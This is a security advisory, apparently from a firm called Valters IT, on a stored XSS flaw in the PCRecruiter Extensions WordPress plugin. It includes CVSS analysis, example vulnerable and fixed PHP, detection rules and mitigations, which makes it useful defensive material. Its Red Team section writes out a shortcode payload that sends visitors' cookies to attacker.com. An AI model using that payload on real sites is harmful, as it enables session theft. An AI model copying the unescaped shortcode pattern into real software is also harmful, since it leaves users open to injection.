CVE-2024-11776

Executive Summary

CVE-2024-11776 is a Stored Cross-Site Scripting (XSS) vulnerability found in the PCRecruiter Extensions plugin for WordPress, affecting all versions up to and including 1.4.22. The flaw resides in the plugin's [PCRecruiter] shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least contributor-level access to inject arbitrary web scripts. When a user (including administrators) visits a page containing the malicious shortcode, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or further compromise of the WordPress site.

Given the EPSS score of 0.0%, this vulnerability is not currently being actively exploited in the wild, but the lack of a known patch makes it a significant risk for sites using this plugin. The vulnerability is specific to the WordPress ecosystem and does not involve Apache or Nginx directly.

Supply Chain & Package Security

This vulnerability is part of the WordPress plugin ecosystem. The PCRecruiter Extensions plugin is distributed through the WordPress plugin repository and third-party marketplaces. Users should verify the integrity of the plugin files by checking checksums or using official sources. No known supply chain compromise has been reported, but the absence of a patch means that any site using this plugin is at risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): Low – Attacker needs contributor-level access.
• User Interaction (UI): None – The attack does not require user interaction beyond normal page visits.
• Scope (S): Changed – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited information disclosure possible.
• Integrity (I): Low – Limited ability to modify data.
• Availability (A): None – No impact on availability.

Threat Level: Medium. While the CVSS score is moderate, the lack of a patch and the potential for privilege escalation via XSS (e.g., creating admin accounts) elevates the risk for affected sites.

Deep Dive & Mechanics

The vulnerability exists in the PCRecruiter shortcode handler. The plugin registers a shortcode that accepts user-defined attributes (e.g., [PCRecruiter attribute="value"]). These attributes are not properly sanitized or escaped before being rendered in the HTML output. An attacker with contributor-level access can craft a shortcode like:

[PCRecruiter attribute="<script>alert('XSS')</script>"]

When the page is rendered, the script executes in the context of the visitor's browser. The stored nature means the payload persists in the database and executes for every subsequent visitor.

The root cause is insufficient input validation and output escaping. The plugin likely uses echo or print without applying WordPress's built-in escaping functions like esc_attr() or wp_kses().

Vulnerable vs. Patched Code

Vulnerable Code (hypothetical example):

function pcrecruiter_shortcode($atts) {
    $attribute = $atts['attribute'];
    return "<div class='pcrecruiter' data-attr='$attribute'>Content</div>";
}
add_shortcode('PCRecruiter', 'pcrecruiter_shortcode');

Patched Code (hypothetical):

function pcrecruiter_shortcode($atts) {
    $attribute = esc_attr($atts['attribute']);
    return "<div class='pcrecruiter' data-attr='$attribute'>Content</div>";
}
add_shortcode('PCRecruiter', 'pcrecruiter_shortcode');

The patched version uses esc_attr() to escape the attribute value, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with PCRecruiter Extensions plugin <= 1.4.22
• Contributor-level account or higher

Steps:

1. Log in as a contributor.
2. Create a new post or page.
3. Insert the following shortcode:

   [PCRecruiter attribute="<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>"]
   

4. Publish the post.
5. When an admin or other user visits the page, their cookies are sent to the attacker's server.

Alternative Payload:

[PCRecruiter attribute="<img src=x onerror=alert(1)>"]

Blue Team

Detection:

• Monitor for posts/pages containing the [PCRecruiter shortcode with suspicious attributes.
• Look for unusual JavaScript in post content.
• Use WAF rules to block common XSS patterns in shortcode attributes.

Mitigation:

• Disable the plugin until a patch is available.
• Restrict contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/pcrecruiter-extensions/pcrecruiter-extensions.php (version <= 1.4.22)
• Shortcode pattern: [PCRecruiter attribute="<script>...</script>"]
• Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server.
• Logs: Unusual entries in post content tables containing script tags.

Detection Engineering

YARA Rule

rule CVE_2024_11776_PCRecruiter_XSS {
    meta:
        description = "Detects stored XSS payloads in PCRecruiter shortcode attributes"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11776"
    strings:
        $shortcode = /\[PCRecruiter\s+[^\]]*?attribute\s*=\s*["'][^"']*?<script[^>]*?>/
        $xss_payload = /<script[^>]*?>.*?<\/script>/i
    condition:
        $shortcode and $xss_payload
}

Sigma Rule

title: Stored XSS via PCRecruiter Shortcode
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts using the PCRecruiter shortcode
author: Valters IT
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.url|contains: 'pcrecruiter'
        http.body|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11776 PCRecruiter Stored XSS"; flow:to_server,established; content:"[PCRecruiter"; http_client_body; nocase; content:"attribute"; http_client_body; nocase; content:"<script"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the PCRecruiter Extensions plugin until a patched version is released.
2. Short-term: Restrict contributor-level accounts to only trusted users. Implement a Web Application Firewall (WAF) with rules to block XSS in shortcode attributes.
3. Long-term: Monitor the plugin's official page for updates. Apply the patch as soon as it becomes available. Consider using a security plugin like Wordfence to detect and block XSS attempts.
4. Code Fix: If you have access to the source code, apply output escaping using esc_attr() or wp_kses() to all shortcode attributes.

Valters IT
Securing Digital Frontiers